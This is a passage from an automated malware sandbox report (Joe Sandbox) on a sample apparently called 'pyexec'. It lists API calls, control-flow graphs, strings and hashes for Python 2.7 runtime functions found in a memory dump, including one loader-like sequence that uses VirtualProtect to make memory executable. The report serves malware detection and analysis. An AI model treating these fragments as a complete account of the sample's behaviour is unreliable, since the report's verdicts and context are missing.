                                                                                                                                                                    • ReadFile.KERNELBASE(?,?,00000000,00000000,00000000), ref: 6700212F
                                                                                                                                                                    • LoadLibraryA.KERNELBASE(?), ref: 670021FA
                                                                                                                                                                    • VirtualProtect.KERNELBASE(?,?,00000040,00000000), ref: 6700226B
                                                                                                                                                                    • VirtualProtect.KERNELBASE(?,?,00000000,00000000), ref: 6700228C
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileProtectVirtual$AllocCreateLibraryLoadLocalRead
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2652859266-0
                                                                                                                                                                    • Opcode ID: cd509d28c5686190fff01123eab3deba847af2c7e69e905de22d7f742e738dbc
                                                                                                                                                                    • Instruction ID: 3a86681b1cdff7593d04e8235ad7963077df80169763f487cd3036e144bb5af8
                                                                                                                                                                    • Opcode Fuzzy Hash: cd509d28c5686190fff01123eab3deba847af2c7e69e905de22d7f742e738dbc
                                                                                                                                                                    • Instruction Fuzzy Hash: 50E129B9E00219EFDF51CFA8C981A9DBBF1FF08314F154099E918AB221D735AA51DF60

                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                    Function 67013F10 Relevance: 30.4, APIs: 20, Instructions: 382COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • isalnum.MSVCR90 ref: 670140AE
                                                                                                                                                                    • isalnum.MSVCR90 ref: 670140DB
                                                                                                                                                                    • isalnum.MSVCR90 ref: 6701412B
                                                                                                                                                                    • isalnum.MSVCR90 ref: 67014158
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27(?), ref: 670141A3
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27(?), ref: 670141B0
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27(?), ref: 670141BD
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27(?), ref: 670141CA
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 670141F1
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 670141FE
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27 ref: 6701420B
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 67014218
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27(?), ref: 67014257
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27(?), ref: 67014264
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27(?), ref: 67014271
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27(?), ref: 6701427E
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 670142A5
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 670142B2
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27 ref: 670142BF
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 670142CC
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Unicode$Digit$AlphaDecimalNumericisalnum
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2555583657-0
                                                                                                                                                                    • Opcode ID: 82d4fcaf2fae4dd8c75eeb886e8db68d626776a26b0440a1a78c1acb1faddc65
                                                                                                                                                                    • Instruction ID: d1dfb90d54c2ae57e4b5a95be93c619958fdef0332de1e879a8d2cd2345fcc71
                                                                                                                                                                    • Opcode Fuzzy Hash: 82d4fcaf2fae4dd8c75eeb886e8db68d626776a26b0440a1a78c1acb1faddc65
                                                                                                                                                                    • Instruction Fuzzy Hash: 2CB16EB6B0C1301AD71056F9AC8136BB3E89B8C32DB54853AFD95C3355F725E8D192B2
                                                                                                                                                                    Function 6700FDD0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 73COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetACP.KERNEL32 ref: 6700FDE4
                                                                                                                                                                    • PyOS_snprintf.PYTHON27(?,00000064,cp%d,00000000), ref: 6700FDF9
                                                                                                                                                                    • GetLocaleInfoA.KERNEL32(00000400,00000059,?,00000064), ref: 6700FE14
                                                                                                                                                                    • GetLocaleInfoA.KERNEL32(00000400,0000005A,0000005F,00000064), ref: 6700FE43
                                                                                                                                                                    • GetLocaleInfoA.KERNEL32(00000400,00000009,?,00000062), ref: 6700FE70
                                                                                                                                                                    • Py_BuildValue.PYTHON27(6714C53C,00000030,?), ref: 6700FE8D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: InfoLocale$BuildS_snprintfValue
                                                                                                                                                                    • String ID: 0$cp%d$x
                                                                                                                                                                    • API String ID: 2137356293-3685427448
                                                                                                                                                                    • Opcode ID: 423efb39913a3d90483f2b6a532f860eff6fe329460ddd7fc2a4f9472004f1c7
                                                                                                                                                                    • Instruction ID: 0a3d4cb3ed6927f0d1fb193842de9c10ab324b0b2d3bda42c860dba9ab580a90
                                                                                                                                                                    • Opcode Fuzzy Hash: 423efb39913a3d90483f2b6a532f860eff6fe329460ddd7fc2a4f9472004f1c7
                                                                                                                                                                    • Instruction Fuzzy Hash: 6D21D87060120DAEFB00DBA4CC49FBE7BBDDB49B08F404156EB14AB1C6EA756609CB65
                                                                                                                                                                    Function 670E8DF0 Relevance: 6.1, APIs: 4, Instructions: 143COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27(?), ref: 670E8E35
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,00000014,?,?), ref: 670E8F3B
                                                                                                                                                                    • _PyString_Resize.PYTHON27(?,00000000,?,?), ref: 670E8F69
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$Err_FromMemoryResizeSizeString
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3221442098-0
                                                                                                                                                                    • Opcode ID: 68f8cbfdbb8cb20979a277ac1293b9867550c924cc5100684cf59b343d498552
                                                                                                                                                                    • Instruction ID: b3b099a82f94d55743bd017b549214cef15a591fcfb69fd52ef057604c52d093
                                                                                                                                                                    • Opcode Fuzzy Hash: 68f8cbfdbb8cb20979a277ac1293b9867550c924cc5100684cf59b343d498552
                                                                                                                                                                    • Instruction Fuzzy Hash: CE412772B012154FCB488A6CCC903BD7369DB9E214F4417BEDE1AA73C1DB399E45C6A2
                                                                                                                                                                    Function 6700F6B0 Relevance: 94.9, APIs: 36, Strings: 18, Instructions: 375COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 61 6700f6b0-6700f6ba PyDict_New 62 6700f6bc-6700f6bd 61->62 63 6700f6be-6700f6d7 localeconv PyString_FromString 61->63 64 6700fa67-6700fa6a 63->64 65 6700f6dd-6700f6ef PyDict_SetItemString 63->65 66 6700fa78-6700fa7a 64->66 67 6700fa6c-6700fa75 64->67 68 6700f6f1-6700f6fa 65->68 69 6700f6fd-6700f70d PyString_FromString 65->69 70 6700fa7c-6700fa7f 66->70 71 6700fa8d-6700fa92 66->71 67->66 68->69 69->64 72 6700f713-6700f725 PyDict_SetItemString 69->72 70->71 74 6700fa81-6700fa8a 70->74 76 6700f733 72->76 77 6700f727-6700f730 72->77 74->71 78 6700f736 call 6700f110 76->78 77->76 80 6700f73b-6700f73f 78->80 80->64 82 6700f745-6700f757 PyDict_SetItemString 80->82 83 6700f765-6700f775 PyString_FromString 82->83 84 6700f759-6700f762 82->84 83->64 85 6700f77b-6700f78d PyDict_SetItemString 83->85 84->83 87 6700f79b-6700f7ab PyString_FromString 85->87 88 6700f78f-6700f798 85->88 87->64 89 6700f7b1-6700f7c3 PyDict_SetItemString 87->89 88->87 91 6700f7d1-6700f7e1 PyString_FromString 89->91 92 6700f7c5-6700f7ce 89->92 91->64 93 6700f7e7-6700f7f9 PyDict_SetItemString 91->93 92->91 95 6700f807-6700f817 PyString_FromString 93->95 96 6700f7fb-6700f804 93->96 95->64 97 6700f81d-6700f82f PyDict_SetItemString 95->97 96->95 99 6700f831-6700f83a 97->99 100 6700f83d 97->100 99->100 101 6700f840 call 6700f110 100->101 103 6700f845-6700f849 101->103 103->64 104 6700f84f-6700f861 PyDict_SetItemString 103->104 105 6700f863-6700f86c 104->105 106 6700f86f-6700f87f PyString_FromString 104->106 105->106 106->64 107 6700f885-6700f897 PyDict_SetItemString 106->107 109 6700f8a5-6700f8b5 PyString_FromString 107->109 110 6700f899-6700f8a2 107->110 109->64 111 6700f8bb-6700f8cd PyDict_SetItemString 109->111 110->109 113 6700f8db-6700f8ec PyInt_FromLong 111->113 114 6700f8cf-6700f8d8 111->114 113->64 115 6700f8f2-6700f904 PyDict_SetItemString 113->115 114->113 117 6700f912-6700f923 PyInt_FromLong 115->117 118 6700f906-6700f90f 115->118 117->64 119 6700f929-6700f93b PyDict_SetItemString 117->119 118->117 121 6700f949-6700f95a PyInt_FromLong 119->121 122 6700f93d-6700f946 119->122 121->64 123 6700f960-6700f972 PyDict_SetItemString 121->123 122->121 125 6700f980-6700f991 PyInt_FromLong 123->125 126 6700f974-6700f97d 123->126 125->64 127 6700f997-6700f9a9 PyDict_SetItemString 125->127 126->125 129 6700f9b7-6700f9c8 PyInt_FromLong 127->129 130 6700f9ab-6700f9b4 127->130 129->64 131 6700f9ce-6700f9e0 PyDict_SetItemString 129->131 130->129 133 6700f9e2-6700f9eb 131->133 134 6700f9ee-6700f9ff PyInt_FromLong 131->134 133->134 134->64 135 6700fa01-6700fa13 PyDict_SetItemString 134->135 137 6700fa21-6700fa32 PyInt_FromLong 135->137 138 6700fa15-6700fa1e 135->138 137->64 139 6700fa34-6700fa46 PyDict_SetItemString 137->139 138->137 141 6700fa54-6700fa65 PyInt_FromLong 139->141 142 6700fa48-6700fa51 139->142 141->64 143 6700fa93-6700faa5 PyDict_SetItemString 141->143 142->141 144 6700fab3-6700fab8 143->144 145 6700faa7-6700fab0 143->145 145->144
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 6700F6B1
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • localeconv.MSVCR90 ref: 6700F6C0
                                                                                                                                                                    • PyString_FromString.PYTHON27(00000000), ref: 6700F6CB
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,decimal_point,00000000), ref: 6700F6E4
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6700F701
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,thousands_sep,00000000), ref: 6700F71A
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,grouping,00000000), ref: 6700F74C
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6700F769
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,int_curr_symbol,00000000), ref: 6700F782
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6700F79F
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,currency_symbol,00000000), ref: 6700F7B8
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6700F7D5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Dict_FromString_$Item$localeconv
                                                                                                                                                                    • String ID: currency_symbol$decimal_point$frac_digits$grouping$int_curr_symbol$int_frac_digits$mon_decimal_point$mon_grouping$mon_thousands_sep$n_cs_precedes$n_sep_by_space$n_sign_posn$negative_sign$p_cs_precedes$p_sep_by_space$p_sign_posn$positive_sign$thousands_sep
                                                                                                                                                                    • API String ID: 3913525369-2270419579
                                                                                                                                                                    • Opcode ID: 4bcaa6d72192b531f32d227d00f6fc43b952bd9d2e4a944fb69f033f53c1dd42
                                                                                                                                                                    • Instruction ID: 80cb1b5ac1bd553eb67d01ac11e02dc29cd6b655132a2cd9b3d6ed786c80d7ad
                                                                                                                                                                    • Opcode Fuzzy Hash: 4bcaa6d72192b531f32d227d00f6fc43b952bd9d2e4a944fb69f033f53c1dd42
                                                                                                                                                                    • Instruction Fuzzy Hash: 49B116F2C005115BD210CA60AC80EAB37E85F5E738F194328ED695B345E729EE56DBE3
                                                                                                                                                                    Function 671295A0 Relevance: 59.8, APIs: 23, Strings: 11, Instructions: 292stringCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 446 671295a0-671295b1 447 671295b7-671295c1 446->447 448 671297ba-671297c4 446->448 447->448 449 671295c7-671295c9 447->449 449->448 450 671295cf-671295d6 449->450 451 671295f2-671295f9 450->451 452 671295d8-671295ec PyString_InternFromString 450->452 454 67129611-67129618 451->454 455 671295fb-6712960f PyString_InternFromString 451->455 452->451 453 67129678-6712967f 452->453 456 67129630-67129648 PyDict_GetItem 454->456 457 6712961a-6712962e PyString_InternFromString 454->457 455->453 455->454 458 671296e5-671296f8 PyDict_GetItem 456->458 459 6712964e-67129653 456->459 457->453 457->456 458->448 460 671296fe-67129708 458->460 459->458 461 67129659-67129663 459->461 460->448 462 6712970e-67129720 PyDict_GetItem 460->462 463 67129680-67129685 461->463 464 67129665 461->464 465 67129722-67129729 462->465 466 6712977f-67129790 strrchr 462->466 468 67129687-67129689 463->468 469 671296ab-671296b1 463->469 467 6712966a-67129675 PyErr_SetString 464->467 470 67129735-6712973c 465->470 471 6712972b-67129730 465->471 473 67129792-67129795 466->473 474 671297c5-671297cf 466->474 467->453 468->448 472 6712968f-671296aa PyErr_SetString 468->472 475 671296b3-671296ce PyErr_SetString 469->475 476 671296cf-671296d4 469->476 479 67129740-67129748 470->479 471->467 480 671297a1-671297b8 PyDict_SetItem 473->480 481 67129797-6712979c 473->481 474->471 478 671297d5-671297ee memcpy PyString_FromString 474->478 477 671296d6-671296de 476->477 477->477 483 671296e0 477->483 478->453 484 671297f4-6712980d PyDict_SetItem 478->484 479->479 485 6712974a-6712975b PyDict_SetItem 479->485 480->448 482 67129763-6712977e PyErr_SetString 480->482 481->467 486 67129825-67129828 483->486 487 6712981b-6712981d 484->487 488 6712980f-67129818 484->488 489 6712975d 485->489 490 6712982a 486->490 491 6712984c-6712984e 486->491 487->489 488->487 489->482 492 67129822 489->492 494 67129830-6712983e strrchr 490->494 495 67129851-67129856 491->495 492->486 497 67129844-6712984a 494->497 498 671298da-671298df 494->498 495->495 496 67129858-67129872 PyImport_GetModuleDict PyDict_GetItemString 495->496 499 671298f7-671298fe 496->499 500 67129878-6712987d 496->500 497->491 497->494 498->467 501 671298e4-671298f4 PyErr_Format 500->501 502 6712987f-67129890 PyString_FromFormat 500->502 501->499 502->453 503 67129896-671298b3 PyString_AsString PyErr_WarnEx 502->503 504 671298c1-671298c4 503->504 505 671298b5-671298bc 503->505 504->499 506 671298c6-671298d9 504->506 505->504
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_InternFromString.PYTHON27(__name__,00000000,6712A352,?,?,6712936C,?,?), ref: 671295DD
                                                                                                                                                                      • Part of subcall function 670D6990: PyString_FromString.PYTHON27(?,?,?,67129624,__package__,00000000,6712A352,?,?,6712936C,?,?), ref: 670D6998
                                                                                                                                                                    • PyString_InternFromString.PYTHON27(__path__,00000000,6712A352,?,?,6712936C,?,?), ref: 67129600
                                                                                                                                                                    • PyString_InternFromString.PYTHON27(__package__,00000000,6712A352,?,?,6712936C,?,?), ref: 6712961F
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?,00000000,6712A352,?,?,6712936C,?,?), ref: 6712963E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,Module name too long,?,?,?,?,?,?,?), ref: 67129670
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,Attempted relative import in non-package,?), ref: 6712969B
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,Package name too long,?), ref: 671296BF
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?,?), ref: 671296EC
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?,?,?,?), ref: 67129716
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,?,00000000,?,?,?,?,?), ref: 67129753
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,Could not set __package__,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6712976F
                                                                                                                                                                    • strrchr.MSVCR90 ref: 67129785
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,?,?,?,?,?,?,?,?,?), ref: 671297AE
                                                                                                                                                                    • memcpy.MSVCR90(00000000,-00000014,00000000,?,?,?,?,?,?,?), ref: 671297D8
                                                                                                                                                                    • PyString_FromString.PYTHON27(00000000,00000000,-00000014,00000000,?,?,?,?,?,?,?), ref: 671297E2
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 67129800
                                                                                                                                                                    • strrchr.MSVCR90 ref: 67129833
                                                                                                                                                                    • PyImport_GetModuleDict.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6712985F
                                                                                                                                                                    • PyDict_GetItemString.PYTHON27(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 67129866
                                                                                                                                                                    • PyString_FromFormat.PYTHON27(Parent module '%.200s' not found while handling absolute import,00000000), ref: 67129884
                                                                                                                                                                    • PyString_AsString.PYTHON27(00000000,00000001), ref: 67129899
                                                                                                                                                                    • PyErr_WarnEx.PYTHON27(67246D98,00000000,00000001), ref: 671298A9
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,Parent module '%.200s' not loaded, cannot perform relative import,00000000), ref: 671298EF
                                                                                                                                                                    Strings
                                                                                                                                                                    • __package__, xrefs: 6712961A
                                                                                                                                                                    • Could not set __package__, xrefs: 67129769
                                                                                                                                                                    • Attempted relative import in non-package, xrefs: 67129695, 67129797
                                                                                                                                                                    • Package name too long, xrefs: 671296B9
                                                                                                                                                                    • Parent module '%.200s' not found while handling absolute import, xrefs: 6712987F
                                                                                                                                                                    • __name__, xrefs: 671295D8
                                                                                                                                                                    • Attempted relative import beyond toplevel package, xrefs: 671298DA
                                                                                                                                                                    • __package__ set to non-string, xrefs: 67129665
                                                                                                                                                                    • Module name too long, xrefs: 6712972B
                                                                                                                                                                    • Parent module '%.200s' not loaded, cannot perform relative import, xrefs: 671298E9
                                                                                                                                                                    • __path__, xrefs: 671295FB
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Dict_ItemString_$Err_From$Intern$Formatstrrchr$DictImport_ModuleWarnmemcpy
                                                                                                                                                                    • String ID: Attempted relative import beyond toplevel package$Attempted relative import in non-package$Could not set __package__$Module name too long$Package name too long$Parent module '%.200s' not found while handling absolute import$Parent module '%.200s' not loaded, cannot perform relative import$__name__$__package__$__package__ set to non-string$__path__
                                                                                                                                                                    • API String ID: 2025534777-3665187588
                                                                                                                                                                    • Opcode ID: ca83bdcc07cc5d09d0ec955d1216912db5631f67c9b84d84bf9f239cfc329492
                                                                                                                                                                    • Instruction ID: 84f51fb3d6e7b60083b08e6190ff84508ae856ac125a8680cef6ddbf6d84d46e
                                                                                                                                                                    • Opcode Fuzzy Hash: ca83bdcc07cc5d09d0ec955d1216912db5631f67c9b84d84bf9f239cfc329492
                                                                                                                                                                    • Instruction Fuzzy Hash: 7F913DB1A002155FDB01DE6C9CA5B5733E8EB2E318F04416AED289B201FB35D885DBF6
                                                                                                                                                                    Function 6700FEB0 Relevance: 56.2, APIs: 20, Strings: 12, Instructions: 162COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_locale,6726B3F0,00000000,00000000,000003F5), ref: 6700FEC3
                                                                                                                                                                    • PyModule_GetDict.PYTHON27(00000000), ref: 6700FED6
                                                                                                                                                                      • Part of subcall function 670C5170: PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,670B5195,00000000), ref: 670C518B
                                                                                                                                                                      • Part of subcall function 670C5170: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,670B5195,00000000), ref: 670C51A9
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000002,00000000), ref: 6700FEDF
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_CTYPE,00000000,00000002,00000000), ref: 6700FEED
                                                                                                                                                                      • Part of subcall function 670A7460: PyString_FromString.PYTHON27(00000000,?,?,670C50D7,00000000,__name__,00000000,?,00000014,?,6712DEB4), ref: 670A7468
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000005), ref: 6700FF0C
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_TIME,00000000,00000005), ref: 6700FF1A
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000001), ref: 6700FF39
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_COLLATE,00000000,00000001), ref: 6700FF47
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000003), ref: 6700FF66
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_MONETARY,00000000,00000003), ref: 6700FF74
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000004), ref: 6700FF93
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_NUMERIC,00000000,00000004), ref: 6700FFA1
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000000), ref: 6700FFC0
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,LC_ALL,00000000,00000000), ref: 6700FFCE
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(0000007F), ref: 6700FFED
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,CHAR_MAX,00000000,0000007F), ref: 6700FFFB
                                                                                                                                                                    • PyErr_NewException.PYTHON27(locale.Error,00000000,00000000), ref: 67010021
